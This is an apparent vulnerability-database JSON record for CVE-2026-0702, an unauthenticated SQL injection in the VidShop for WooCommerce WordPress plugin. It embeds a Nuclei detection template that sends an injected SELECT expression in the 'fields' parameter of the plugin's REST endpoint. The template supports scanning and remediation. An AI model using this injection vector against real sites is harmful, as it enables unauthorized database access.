{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-0702/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-0702/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-0702/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-0702/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-0702/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-0702"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-0702"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-0702.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2026-0702\n\ninfo:\n  name: VidShop for WooCommerce <= 1.1.4 - SQL Injection\n  author: str4k3r\n  severity: high\n  description: |\n    VidShop – Shoppable Videos for WooCommerce plugin for WordPress <= 1.1.4 contains a time-based SQL injection caused by insufficient escaping of the 'fields' parameter, letting unauthenticated attackers extract sensitive database information.\n  impact: |\n    Unauthenticated attackers can extract sensitive information from the database, potentially compromising data confidentiality.\n  remediation: |\n    Update to the latest version of VidShop – Shoppable Videos for WooCommerce plugin for WordPress.\n  reference:\n    - https://plugins.trac.wordpress.org/browser/vidshop-for-woocommerce/trunk/includes/rest-api/v1/class-videos-controller.php#L297\n    - https://plugins.trac.wordpress.org/browser/vidshop-for-woocommerce/trunk/includes/utils/class-query-builder.php#L778\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/a61d8d2a-742f-45f1-9146-f733b80ef195?source=cve\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-0702\n    epss-score: 0.02049\n    epss-percentile: 0.81281\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n  tags: cve,cve2026,wordpress,woocommerce,vidshop,sqli,unauth,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-json/vsfw/v1/videos?fields=%28SELECT%20424242*2%29%20as%20id\"\n\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n\n      - type: word\n        part: body\n        words:\n          - '\"id\":848484'\n# digest: 490a004630440220555b93749ee4776b0c5c379c871bebe66db835a53df624ec7f8c13190fb2fc4702200414d7783af8e79f9f9e6574eb995ed24d613d9bfc585127e71bb3acef8edae2:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-0702"
}